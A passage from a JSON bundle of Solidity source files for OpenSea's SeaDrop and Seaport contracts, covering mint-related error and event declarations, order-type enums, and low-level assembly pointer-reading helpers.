maximum\n );\n\n /**\n * @dev Revert with an error if the fromTokenId is not within range.\n */\n error InvalidSignedFromTokenId(uint256 got, uint256 minimum);\n\n /**\n * @dev Revert with an error if the toTokenId is not within range.\n */\n error InvalidSignedToTokenId(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed start time is less than\n * the minimum specified.\n */\n error InvalidSignedStartTime(uint256 got, uint256 minimum);\n\n /**\n * @dev Revert with an error if supplied signed end time is greater than\n * the maximum specified.\n */\n error InvalidSignedEndTime(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed maxTokenSupplyForStage\n * is greater than the maximum specified.\n */\n error InvalidSignedMaxTokenSupplyForStage(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed feeBps is greater than\n * the maximum specified, or less than the minimum.\n */\n error InvalidSignedFeeBps(uint256 got, uint256 minimumOrMaximum);\n\n /**\n * @dev Revert with an error if signed mint did not specify to restrict\n * fee recipients.\n */\n error SignedMintsMustRestrictFeeRecipients();\n\n /**\n * @dev Revert with an error if a signature for a signed mint has already\n * been used.\n */\n error SignatureAlreadyUsed();\n\n /**\n * @dev Revert with an error if the contract has no balance to withdraw.\n */\n error NoBalanceToWithdraw();\n\n /**\n * @dev Revert with an error if the caller is not an allowed Seaport.\n */\n error InvalidCallerOnlyAllowedSeaport(address caller);\n\n /**\n * @dev Revert with an error if the order does not have the ERC1155 magic\n * consideration item to signify a consecutive mint.\n */\n error MustSpecifyERC1155ConsiderationItemForSeaDropMint();\n\n /**\n * @dev Revert with an error if the extra data version is not supported.\n */\n error UnsupportedExtraDataVersion(uint8 version);\n\n /**\n * @dev Revert with an error if the extra data encoding is not supported.\n */\n error InvalidExtraDataEncoding(uint8 version);\n\n /**\n * @dev Revert with an error if the provided substandard is not supported.\n */\n error InvalidSubstandard(uint8 substandard);\n\n /**\n * @dev Revert with an error if the implementation contract is called without\n * delegatecall.\n */\n error OnlyDelegateCalled();\n\n /**\n * @dev Revert with an error if the provided allowed Seaport is the\n * zero address.\n */\n error AllowedSeaportCannotBeZeroAddress();\n\n /**\n * @dev Emit an event when allowed Seaport contracts are updated.\n */\n event AllowedSeaportUpdated(address[] allowedSeaport);\n\n /**\n * @dev An event with details of a SeaDrop mint, for analytical purposes.\n *\n * @param payer The address who payed for the tx.\n * @param dropStageIndex The drop stage index. Items minted through\n * public mint have dropStageIndex of 0\n */\n event SeaDropMint(address payer, uint256 dropStageIndex);\n\n /**\n * @dev An event with updated allow list data.\n *\n * @param previousMerkleRoot The previous allow list merkle root.\n * @param newMerkleRoot The new allow list merkle root.\n * @param publicKeyURI If the allow list is encrypted, the public key\n * URIs that can decrypt the list.\n * Empty if unencrypted.\n * @param allowListURI The URI for the allow list.\n */\n event AllowListUpdated(\n bytes32 indexed previousMerkleRoot,\n bytes32 indexed newMerkleRoot,\n string[] publicKeyURI,\n string allowListURI\n );\n\n /**\n * @dev An event with updated drop URI.\n */\n event DropURIUpdated(string newDropURI);\n\n /**\n * @dev An event with the updated creator payout address.\n */\n event CreatorPayoutsUpdated(CreatorPayout[] creatorPayouts);\n\n /**\n * @dev An event with the updated allowed fee recipient.\n */\n event AllowedFeeRecipientUpdated(\n address indexed feeRecipient,\n bool indexed allowed\n );\n\n /**\n * @dev An event with the updated signer.\n */\n event SignerUpdated(address indexed signer, bool indexed allowed);\n\n /**\n * @dev An event with the updated payer.\n */\n event PayerUpdated(address indexed payer, bool indexed allowed);\n}\n"
},
"lib/seaport/lib/seaport-types/src/lib/ConsiderationEnums.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nenum OrderType {\n // 0: no partial fills, anyone can execute\n FULL_OPEN,\n\n // 1: partial fills supported, anyone can execute\n PARTIAL_OPEN,\n\n // 2: no partial fills, only offerer or zone can execute\n FULL_RESTRICTED,\n\n // 3: partial fills supported, only offerer or zone can execute\n PARTIAL_RESTRICTED,\n\n // 4: contract order type\n CONTRACT\n}\n\nenum BasicOrderType {\n // 0: no partial fills, anyone can execute\n ETH_TO_ERC721_FULL_OPEN,\n\n // 1: partial fills supported, anyone can execute\n ETH_TO_ERC721_PARTIAL_OPEN,\n\n // 2: no partial fills, only offerer or zone can execute\n ETH_TO_ERC721_FULL_RESTRICTED,\n\n // 3: partial fills supported, only offerer or zone can execute\n ETH_TO_ERC721_PARTIAL_RESTRICTED,\n\n // 4: no partial fills, anyone can execute\n ETH_TO_ERC1155_FULL_OPEN,\n\n // 5: partial fills supported, anyone can execute\n ETH_TO_ERC1155_PARTIAL_OPEN,\n\n // 6: no partial fills, only offerer or zone can execute\n ETH_TO_ERC1155_FULL_RESTRICTED,\n\n // 7: partial fills supported, only offerer or zone can execute\n ETH_TO_ERC1155_PARTIAL_RESTRICTED,\n\n // 8: no partial fills, anyone can execute\n ERC20_TO_ERC721_FULL_OPEN,\n\n // 9: partial fills supported, anyone can execute\n ERC20_TO_ERC721_PARTIAL_OPEN,\n\n // 10: no partial fills, only offerer or zone can execute\n ERC20_TO_ERC721_FULL_RESTRICTED,\n\n // 11: partial fills supported, only offerer or zone can execute\n ERC20_TO_ERC721_PARTIAL_RESTRICTED,\n\n // 12: no partial fills, anyone can execute\n ERC20_TO_ERC1155_FULL_OPEN,\n\n // 13: partial fills supported, anyone can execute\n ERC20_TO_ERC1155_PARTIAL_OPEN,\n\n // 14: no partial fills, only offerer or zone can execute\n ERC20_TO_ERC1155_FULL_RESTRICTED,\n\n // 15: partial fills supported, only offerer or zone can execute\n ERC20_TO_ERC1155_PARTIAL_RESTRICTED,\n\n // 16: no partial fills, anyone can execute\n ERC721_TO_ERC20_FULL_OPEN,\n\n // 17: partial fills supported, anyone can execute\n ERC721_TO_ERC20_PARTIAL_OPEN,\n\n // 18: no partial fills, only offerer or zone can execute\n ERC721_TO_ERC20_FULL_RESTRICTED,\n\n // 19: partial fills supported, only offerer or zone can execute\n ERC721_TO_ERC20_PARTIAL_RESTRICTED,\n\n // 20: no partial fills, anyone can execute\n ERC1155_TO_ERC20_FULL_OPEN,\n\n // 21: partial fills supported, anyone can execute\n ERC1155_TO_ERC20_PARTIAL_OPEN,\n\n // 22: no partial fills, only offerer or zone can execute\n ERC1155_TO_ERC20_FULL_RESTRICTED,\n\n // 23: partial fills supported, only offerer or zone can execute\n ERC1155_TO_ERC20_PARTIAL_RESTRICTED\n}\n\nenum BasicOrderRouteType {\n // 0: provide Ether (or other native token) to receive offered ERC721 item.\n ETH_TO_ERC721,\n\n // 1: provide Ether (or other native token) to receive offered ERC1155 item.\n ETH_TO_ERC1155,\n\n // 2: provide ERC20 item to receive offered ERC721 item.\n ERC20_TO_ERC721,\n\n // 3: provide ERC20 item to receive offered ERC1155 item.\n ERC20_TO_ERC1155,\n\n // 4: provide ERC721 item to receive offered ERC20 item.\n ERC721_TO_ERC20,\n\n // 5: provide ERC1155 item to receive offered ERC20 item.\n ERC1155_TO_ERC20\n}\n\nenum ItemType {\n // 0: ETH on mainnet, MATIC on polygon, etc.\n NATIVE,\n\n // 1: ERC20 items (ERC777 and ERC20 analogues could also technically work)\n ERC20,\n\n // 2: ERC721 items\n ERC721,\n\n // 3: ERC1155 items\n ERC1155,\n\n // 4: ERC721 items where a number of tokenIds are supported\n ERC721_WITH_CRITERIA,\n\n // 5: ERC1155 items where a number of ids are supported\n ERC1155_WITH_CRITERIA\n}\n\nenum Side {\n // 0: Items that can be spent\n OFFER,\n\n // 1: Items that must be received\n CONSIDERATION\n}\n"
},
"lib/seaport/lib/seaport-types/src/helpers/PointerLibraries.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\ntype CalldataPointer is uint256;\n\ntype ReturndataPointer is uint256;\n\ntype MemoryPointer is uint256;\n\nusing CalldataPointerLib for CalldataPointer global;\nusing MemoryPointerLib for MemoryPointer global;\nusing ReturndataPointerLib for ReturndataPointer global;\n\nusing CalldataReaders for CalldataPointer global;\nusing ReturndataReaders for ReturndataPointer global;\nusing MemoryReaders for MemoryPointer global;\nusing MemoryWriters for MemoryPointer global;\n\nCalldataPointer constant CalldataStart = CalldataPointer.wrap(0x04);\nMemoryPointer constant FreeMemoryPPtr = MemoryPointer.wrap(0x40);\nuint256 constant IdentityPrecompileAddress = 0x4;\nuint256 constant OffsetOrLengthMask = 0xffffffff;\nuint256 constant _OneWord = 0x20;\nuint256 constant _FreeMemoryPointerSlot = 0x40;\n\n/// @dev Allocates `size` bytes in memory by increasing the free memory pointer\n/// and returns the memory pointer to the first byte of the allocated region.\n// (Free functions cannot have visibility.)\n// solhint-disable-next-line func-visibility\nfunction malloc(uint256 size) pure returns (MemoryPointer mPtr) {\n assembly {\n mPtr := mload(_FreeMemoryPointerSlot)\n mstore(_FreeMemoryPointerSlot, add(mPtr, size))\n }\n}\n\n// (Free functions cannot have visibility.)\n// solhint-disable-next-line func-visibility\nfunction getFreeMemoryPointer() pure returns (MemoryPointer mPtr) {\n mPtr = FreeMemoryPPtr.readMemoryPointer();\n}\n\n// (Free functions cannot have visibility.)\n// solhint-disable-next-line func-visibility\nfunction setFreeMemoryPointer(MemoryPointer mPtr) pure {\n FreeMemoryPPtr.write(mPtr);\n}\n\nlibrary CalldataPointerLib {\n function lt(\n CalldataPointer a,\n CalldataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := lt(a, b)\n }\n }\n\n function gt(\n CalldataPointer a,\n CalldataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := gt(a, b)\n }\n }\n\n function eq(\n CalldataPointer a,\n CalldataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := eq(a, b)\n }\n }\n\n function isNull(CalldataPointer a) internal pure returns (bool b) {\n assembly {\n b := iszero(a)\n }\n }\n\n /// @dev Resolves an offset stored at `cdPtr + headOffset` to a calldata.\n /// pointer `cdPtr` must point to some parent object with a dynamic\n /// type's head stored at `cdPtr + headOffset`.\n function pptr(\n CalldataPointer cdPtr,\n uint256 headOffset\n ) internal pure returns (CalldataPointer cdPtrChild) {\n cdPtrChild = cdPtr.offset(\n cdPtr.offset(headOffset).readUint256() & OffsetOrLengthMask\n );\n }\n\n /// @dev Resolves an offset stored at `cdPtr` to a calldata pointer.\n /// `cdPtr` must point to some parent object with a dynamic type as its\n /// first member, e.g. `struct { bytes data; }`\n function pptr(\n CalldataPointer cdPtr\n ) internal pure returns (CalldataPointer cdPtrChild) {\n cdPtrChild = cdPtr.offset(cdPtr.readUint256() & OffsetOrLengthMask);\n }\n\n /// @dev Returns the calldata pointer one word after `cdPtr`.\n function next(\n CalldataPointer cdPtr\n ) internal pure returns (CalldataPointer cdPtrNext) {\n assembly {\n cdPtrNext := add(cdPtr, _OneWord)\n }\n }\n\n /// @dev Returns the calldata pointer `_offset` bytes after `cdPtr`.\n function offset(\n CalldataPointer cdPtr,\n uint256 _offset\n ) internal pure returns (CalldataPointer cdPtrNext) {\n assembly {\n cdPtrNext := add(cdPtr, _offset)\n }\n }\n\n /// @dev Copies `size` bytes from calldata starting at `src` to memory at\n /// `dst`.\n function copy(\n CalldataPointer src,\n MemoryPointer dst,\n uint256 size\n ) internal pure {\n assembly {\n calldatacopy(dst, src, size)\n }\n }\n}\n\nlibrary ReturndataPointerLib {\n function lt(\n ReturndataPointer a,\n ReturndataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := lt(a, b)\n }\n }\n\n function gt(\n ReturndataPointer a,\n ReturndataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := gt(a, b)\n }\n }\n\n function eq(\n ReturndataPointer a,\n ReturndataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := eq(a, b)\n }\n }\n\n function isNull(ReturndataPointer a) internal pure returns (bool b) {\n assembly {\n b := iszero(a)\n }\n }\n\n /// @dev Resolves an offset stored at `rdPtr + headOffset` to a returndata\n /// pointer. `rdPtr` must point to some parent object with a dynamic\n /// type's head stored at `rdPtr + headOffset`.\n function pptr(\n ReturndataPointer rdPtr,\n uint256 headOffset\n ) internal pure returns (ReturndataPointer rdPtrChild) {\n rdPtrChild = rdPtr.offset(\n rdPtr.offset(headOffset).readUint256() & OffsetOrLengthMask\n );\n }\n\n /// @dev Resolves an offset stored at `rdPtr` to a returndata pointer.\n /// `rdPtr` must point to some parent object with a dynamic type as its\n /// first member, e.g. `struct { bytes data; }`\n function pptr(\n ReturndataPointer rdPtr\n ) internal pure returns (ReturndataPointer rdPtrChild) {\n rdPtrChild = rdPtr.offset(rdPtr.readUint256() & OffsetOrLengthMask);\n }\n\n /// @dev Returns the returndata pointer one word after `cdPtr`.\n function next(\n ReturndataPointer rdPtr\n ) internal pure returns (ReturndataPointer rdPtrNext) {\n assembly {\n rdPtrNext := add(rdPtr, _OneWord)\n }\n }\n\n /// @dev Returns the returndata pointer `_offset` bytes after `cdPtr`.\n function offset(\n ReturndataPointer rdPtr,\n uint256 _offset\n ) internal pure returns (ReturndataPointer rdPtrNext) {\n assembly {\n rdPtrNext := add(rdPtr, _offset)\n }\n }\n\n /// @dev Copies `size` bytes from returndata starting at `src` to memory at\n /// `dst`.\n function copy(\n ReturndataPointer src,\n MemoryPointer dst,\n uint256 size\n ) internal pure {\n assembly {\n returndatacopy(dst, src, size)\n }\n }\n}\n\nlibrary MemoryPointerLib {\n function copy(\n MemoryPointer src,\n MemoryPointer dst,\n uint256 size\n ) internal view {\n assembly {\n let success := staticcall(\n gas(),\n IdentityPrecompileAddress,\n src,\n size,\n dst,\n size\n )\n if or(iszero(returndatasize()), iszero(success)) {\n revert(0, 0)\n }\n }\n }\n\n function lt(\n MemoryPointer a,\n MemoryPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := lt(a, b)\n }\n }\n\n function gt(\n MemoryPointer a,\n MemoryPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := gt(a, b)\n }\n }\n\n function eq(\n MemoryPointer a,\n MemoryPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := eq(a, b)\n }\n }\n\n function isNull(MemoryPointer a) internal pure returns (bool b) {\n assembly {\n b := iszero(a)\n }\n }\n\n function hash(\n MemoryPointer ptr,\n uint256 length\n ) internal pure returns (bytes32 _hash) {\n assembly {\n _hash := keccak256(ptr, length)\n }\n }\n\n /// @dev Returns the memory pointer one word after `mPtr`.\n function next(\n MemoryPointer mPtr\n ) internal pure returns (MemoryPointer mPtrNext) {\n assembly {\n mPtrNext := add(mPtr, _OneWord)\n }\n }\n\n /// @dev Returns the memory pointer `_offset` bytes after `mPtr`.\n function offset(\n MemoryPointer mPtr,\n uint256 _offset\n ) internal pure returns (MemoryPointer mPtrNext) {\n assembly {\n mPtrNext := add(mPtr, _offset)\n }\n }\n\n /// @dev Resolves a pointer at `mPtr + headOffset` to a memory\n /// pointer. `mPtr` must point to some parent object with a dynamic\n /// type's pointer stored at `mPtr + headOffset`.\n function pptr(\n MemoryPointer mPtr,\n uint256 headOffset\n ) internal pure returns (MemoryPointer mPtrChild) {\n mPtrChild = mPtr.offset(headOffset).readMemoryPointer();\n }\n\n /// @dev Resolves a pointer stored at `mPtr` to a memory pointer.\n /// `mPtr` must point to some parent object with a dynamic type as its\n /// first member, e.g. `struct { bytes data; }`\n function pptr(\n MemoryPointer mPtr\n ) internal pure returns (MemoryPointer mPtrChild) {\n mPtrChild = mPtr.readMemoryPointer();\n }\n}\n\nlibrary CalldataReaders {\n /// @dev Reads the value at `cdPtr` and applies a mask to return only the\n /// last 4 bytes.\n function readMaskedUint256(\n CalldataPointer cdPtr\n ) internal pure returns (uint256 value) {\n value = cdPtr.readUint256() & OffsetOrLengthMask;\n }\n\n /// @dev Reads the bool at `cdPtr` in calldata.\n function readBool(\n CalldataPointer cdPtr\n ) internal pure returns (bool value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the address at `cdPtr` in calldata.\n function readAddress(\n CalldataPointer cdPtr\n ) internal pure returns (address value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes1 at `cdPtr` in calldata.\n function readBytes1(\n CalldataPointer cdPtr\n ) internal pure returns (bytes1 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes2 at `cdPtr` in calldata.\n function readBytes2(\n CalldataPointer cdPtr\n ) internal pure returns (bytes2 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes3 at `cdPtr` in calldata.\n function readBytes3(\n CalldataPointer cdPtr\n ) internal pure returns (bytes3 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes4 at `cdPtr` in calldata.\n function readBytes4(\n CalldataPointer cdPtr\n ) internal pure returns (bytes4 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes5 at `cdPtr` in calldata.\n function readBytes5(\n CalldataPointer cdPtr\n ) internal pure returns (bytes5 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes6 at `cdPtr` in calldata.\n function readBytes6(\n CalldataPointer cdPtr\n ) internal pure returns (bytes6 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes7 at `cdPtr` in calldata.\n function readBytes7(\n CalldataPointer cdPtr\n ) internal pure returns (bytes7 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes8 at `cdPtr` in calldata.\n function readBytes8(\n CalldataPointer cdPtr\n ) internal pure returns (bytes8 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes9 at `cdPtr` in calldata.\n function readBytes9(\n CalldataPointer cdPtr\n ) internal pure returns (bytes9 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes10 at `cdPtr` in calldata.\n function readBytes10(\n CalldataPointer cdPtr\n ) internal pure returns (bytes10 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes11 at `cdPtr` in calldata.\n function readBytes11(\n CalldataPointer cdPtr\n ) internal pure returns (bytes11 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes12 at `cdPtr` in calldata.\n function readBytes12(\n CalldataPointer cdPtr\n ) internal pure returns (bytes12 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes13 at `cdPtr` in calldata.\n function readBytes13(\n CalldataPointer cdPtr\n ) internal pure returns (bytes13 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes14 at `cdPtr` in calldata.\n function readBytes14(\n CalldataPointer cdPtr\n ) internal pure returns (bytes14 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes15 at `cdPtr` in calldata.\n function readBytes15(\n CalldataPointer cdPtr\n ) internal pure returns (bytes15 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes16 at `cdPtr` in calldata.\n function readBytes16(\n CalldataPointer cdPtr\n ) internal pure returns (bytes16 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes17 at `cdPtr` in calldata.\n function readBytes17(\n CalldataPointer cdPtr\n ) internal pure returns (bytes17 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes18 at `cdPtr` in calldata.\n function readBytes18(\n CalldataPointer cdPtr\n ) internal pure returns (bytes18 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes19 at `cdPtr` in calldata.\n function readBytes19(\n CalldataPointer cdPtr\n ) internal pure returns (bytes19 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes20 at `cdPtr` in calldata.\n function readBytes20(\n CalldataPointer cdPtr\n ) internal pure returns (bytes20 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes21 at `cdPtr` in calldata.\n function readBytes21(\n CalldataPointer cdPtr\n ) internal pure returns (bytes21 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes22 at `cdPtr` in calldata.\n function readBytes22(\n CalldataPointer cdPtr\n ) internal pure returns (bytes22 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes23 at `cdPtr` in calldata.\n function readBytes23(\n CalldataPointer cdPtr\n ) internal pure returns (bytes23 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes24 at `cdPtr` in calldata.\n function readBytes24(\n CalldataPointer cdPtr\n ) internal pure returns (bytes24 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes25 at `cdPtr` in calldata.\n function readBytes25(\n CalldataPointer cdPtr\n ) internal pure returns (bytes25 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes26 at `cdPtr` in calldata.\n function readBytes26(\n CalldataPointer cdPtr\n ) internal pure returns (bytes26 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes27 at `cdPtr` in calldata.\n function readBytes27(\n CalldataPointer cdPtr\n ) internal pure returns (bytes27 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes28 at `cdPtr` in calldata.\n function readBytes28(\n CalldataPointer cdPtr\n ) internal pure returns (bytes28 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes29 at `cdPtr` in calldata.\n function readBytes29(\n CalldataPointer cdPtr\n ) internal pure returns (bytes29 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes30 at `cdPtr` in calldata.\n function readBytes30(\n CalldataPointer cdPtr\n ) internal pure returns (bytes30 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes31 at `cdPtr` in calldata.\n function readBytes31(\n CalldataPointer cdPtr\n ) internal pure returns (bytes31 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes32 at `cdPtr` in calldata.\n function readBytes32(\n CalldataPointer cdPtr\n ) internal pure returns (bytes32 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint8 at `cdPtr` in calldata.\n function readUint8(\n CalldataPointer cdPtr\n ) internal pure returns (uint8 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint16 at `cdPtr` in calldata.\n function readUint16(\n CalldataPointer cdPtr\n ) internal pure returns (uint16 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint24 at `cdPtr` in calldata.\n function readUint24(\n CalldataPointer cdPtr\n ) internal pure returns (uint24 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint32 at `cdPtr` in calldata.\n function readUint32(\n CalldataPointer cdPtr\n ) internal pure returns (uint32 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint40 at `cdPtr` in calldata.\n function readUint40(\n CalldataPointer cdPtr\n ) internal pure returns (uint40 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint48 at `cdPtr` in calldata.\n function readUint48(\n CalldataPointer cdPtr\n ) internal pure returns (uint48 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint56 at `cdPtr` in calldata.\n function readUint56(\n CalldataPointer cdPtr\n ) internal pure returns (uint56 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint64 at `cdPtr` in calldata.\n function readUint64(\n CalldataPointer cdPtr\n ) internal pure returns (uint64 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint72 at `cdPtr` in calldata.\n function readUint72(\n CalldataPointer cdPtr\n ) internal pure returns (uint72 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint80 at `cdPtr` in calldata.\n function readUint80(\n CalldataPointer cdPtr\n ) internal pure returns (uint80 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint88 at `cdPtr` in calldata.\n function readUint88(\n CalldataPointer cdPtr\n ) internal pure returns (uint88 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint96 at `cdPtr` in calldata.\n function readUint96(\n CalldataPointer cdPtr\n ) internal pure returns (uint96 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint104 at `cdPtr` in calldata.\n function readUint104(\n CalldataPointer cdPtr\n ) internal pure returns (uint104 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint112 at `cdPtr` in calldata.\n function readUint112(\n CalldataPointer cdPtr\n ) internal pure returns (uint112 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint120 at `cdPtr` in calldata.\n function readUint120(\n CalldataPointer cdPtr\n ) internal pure returns (uint120 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint128 at `cdPtr` in calldata.\n function readUint128(\n CalldataPointer cdPtr\n ) internal pure returns (uint128 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint136 at `cdPtr` in calldata.\n function readUint136(\n CalldataPointer cdPtr\n ) internal pure returns (uint136 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint144 at `cdPtr` in calldata.\n function readUint144(\n CalldataPointer cdPtr\n ) internal pure returns (uint144 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint152 at `cdPtr` in calldata.\n function readUint152(\n CalldataPointer cdPtr\n ) internal pure returns (uint152 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint160 at `cdPtr` in calldata.\n function readUint160(\n CalldataPointer cdPtr\n ) internal pure returns (uint160 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint168 at `cdPtr` in calldata.\n function readUint168(\n CalldataPointer cdPtr\n ) internal pure returns (uint168 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint176 at `cdPtr` in calldata.\n function readUint176(\n CalldataPointer cdPtr\n ) internal pure returns (uint176 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint184 at `cdPtr` in calldata.\n function readUint184(\n CalldataPointer cdPtr\n ) internal pure returns (uint184 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint192 at `cdPtr` in calldata.\n function readUint192(\n CalldataPointer cdPtr\n ) internal pure returns (uint192 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint200 at `cdPtr` in calldata.\n function readUint200(\n CalldataPointer cdPtr\n ) internal pure returns (uint200 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint208 at `cdPtr` in calldata.\n function readUint208(\n CalldataPointer cdPtr\n ) internal pure returns (uint208 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint216 at `cdPtr` in calldata.\n function readUint216(\n CalldataPointer cdPtr\n ) internal pure returns (uint216 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint224 at `cdPtr` in calldata.\n function readUint224(\n CalldataPointer cdPtr\n ) internal pure returns (uint224 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint232 at `cdPtr` in calldata.\n function readUint232(\n CalldataPointer cdPtr\n ) internal pure returns (uint232 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint240 at `cdPtr` in calldata.\n function readUint240(\n CalldataPointer cdPtr\n ) internal pure returns (uint240 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint248 at `cdPtr` in calldata.\n function readUint248(\n CalldataPointer cdPtr\n ) internal pure returns (uint248 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint256 at `cdPtr` in calldata.\n function readUint256(\n CalldataPointer cdPtr\n ) internal pure returns (uint256 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int8 at `cdPtr` in calldata.\n function readInt8(\n CalldataPointer cdPtr\n ) internal pure returns (int8 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int16 at `cdPtr` in calldata.\n function readInt16(\n CalldataPointer cdPtr\n ) internal pure returns (int16 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int24 at `cdPtr` in calldata.\n function readInt24(\n CalldataPointer cdPtr\n ) internal pure returns (int24 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int32 at `cdPtr` in calldata.\n function readInt32(\n CalldataPointer cdPtr\n ) internal pure returns (int32 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int40 at `cdPtr` in calldata.\n function readInt40(\n CalldataPointer cdPtr\n ) internal pure returns (int40 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int48 at `cdPtr` in calldata.\n function readInt48(\n CalldataPointer cdPtr\n ) internal pure returns (int48 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int56 at `cdPtr` in calldata.\n function readInt56(\n CalldataPointer cdPtr\n ) internal pure returns (int56 value) {\n assembly {\n 